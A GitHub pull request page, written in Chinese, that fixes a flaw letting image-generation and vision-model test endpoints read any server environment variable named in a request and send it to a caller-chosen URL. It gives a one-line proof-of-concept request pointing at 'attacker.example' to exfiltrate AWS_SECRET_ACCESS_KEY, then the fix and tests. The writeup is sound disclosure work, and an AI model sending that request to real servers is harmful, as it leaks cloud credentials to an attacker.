Repository navigation
Conversation
Collaborator
Author
|
CI 说明(奶娃核验):本 PR 的红( |
Owner
|
已通过 sync 流程合入 dev,感谢 @Ver-zhzh 的贡献 🎉 本 PR 的改动(fix(server): 试画/探测端点不再从请求体解析任意 apiKeyEnv(机密外泄))已经 sync 流程合入主仓(本次 sync),并已收录进 CONTRIBUTORS.md。 按仓库的双仓流程,公开仓 PR 不经 merge 按钮合入(保持 dev 主仓唯一事实源),现以 sync-merged 标记关闭。欢迎继续贡献! |
huiliyi37
added a commit
that referenced
this pull request
Oct 12, 2026
内容已经 sync 流程合入(本次 sync),本提交为作者署名落账: GitHub 贡献者图谱按 Co-authored-by trailer 计入。 Co-authored-by: Ver-zhzh <ver-zhzh@users.noreply.github.com>
huiliyi37
pushed a commit
that referenced
this pull request
Oct 12, 2026
huiliyi37
added a commit
that referenced
this pull request
Oct 23, 2026
内容已经 sync 流程合入(本次 sync),本提交为作者署名落账: GitHub 贡献者图谱按 Co-authored-by trailer 计入。 Co-authored-by: Ver-zhzh <ver-zhzh@users.noreply.github.com>
huiliyi37
pushed a commit
that referenced
this pull request
Oct 23, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
修复:试画/探测端点请求体 apiKeyEnv 任意环境变量读取 → 机密外泄原语
1. 现象
四个「拿用户填的 baseUrl 做一次性探测」的端点,允许请求体传任意
apiKeyEnv变量名,服务端process.env[apiKeyEnv]读出值后以Authorization: Bearer发往调用方自选的 baseUrl:POST /image-generations(origin=test 的 draft):image-generation-routes.ts:15/42-43POST /config/image-gen-model/test:经parseImageGenRequest(config-routes.ts:154)POST /config/vision-model/discover、/config/vision-model/onboard(校验阶段):经parseVisionCredentials(config-routes.ts:264)PoC(构造):
POST /image-generations,{origin:'test', draft:{baseUrl:'https://attacker.example/v1', modelId:'m', apiKeyEnv:'AWS_SECRET_ACCESS_KEY'}}→ 攻击者服务器在 Bearer 头里收到该环境变量明文。门槛:需有效 Bearer apiToken(sidecar 默认绑 127.0.0.1),定级中危。2. 修复
draftSchema删除apiKeyEnv字段;请求体带该字段直接 400(apiKeyEnv is not supported in test drafts; paste the key into apiKey instead)。draft 本就是一次性试画,没有配置关系,粘贴明文 key 即可;环境变量密钥继续走服务端配置文件的provider.apiKeyEnv。/config/image-gen-model/test、/config/vision-model/discover:新增declaredKeyEnvs()(服务端配置文件中已声明的变量名集合:provider.apiKeyEnv/provider.keys[].apiKeyEnv),envPolicy: 'reject-undeclared'——未声明的名字直接 400,已声明的照常解析(合法 UX「试我配好的 env 密钥」保留)。/config/vision-model/onboard:envPolicy: 'no-resolve-undeclared'——声明新变量名时本次校验不解析不发送(只做连通性校验),落盘时持久化变量名;已声明的名字保持原有带密钥校验行为。3. 未修(另开 issue)
审计第 2 条:test-draft 的
baseUrl主请求未走httpFetchGuarded的 SSRF 判据(image-gen-client.ts:252,仅下载跳有守卫)。直接收敛会误伤合法本地端点试画(既有测试即用http://127.0.0.1做 draft),属产品决策,另开 issue 与维护者定口径(拟议allowPrivateNetwork显式开关),不在本 PR 范围。验证
vision-model-onboarding-routes.test.ts(旧断言即被修复行为)为新预期image-generation-routes.test.ts/image-gen-model-routes.test.ts/config-routes.test.tsCI 说明
已知上游基线红(
ci(24)/windows-smoke,与 #447/#449 同一批基线问题),本地 tsc + 相关单测全绿;若本 PR 的 CI 出现与基线不同的新失败会跟进修复。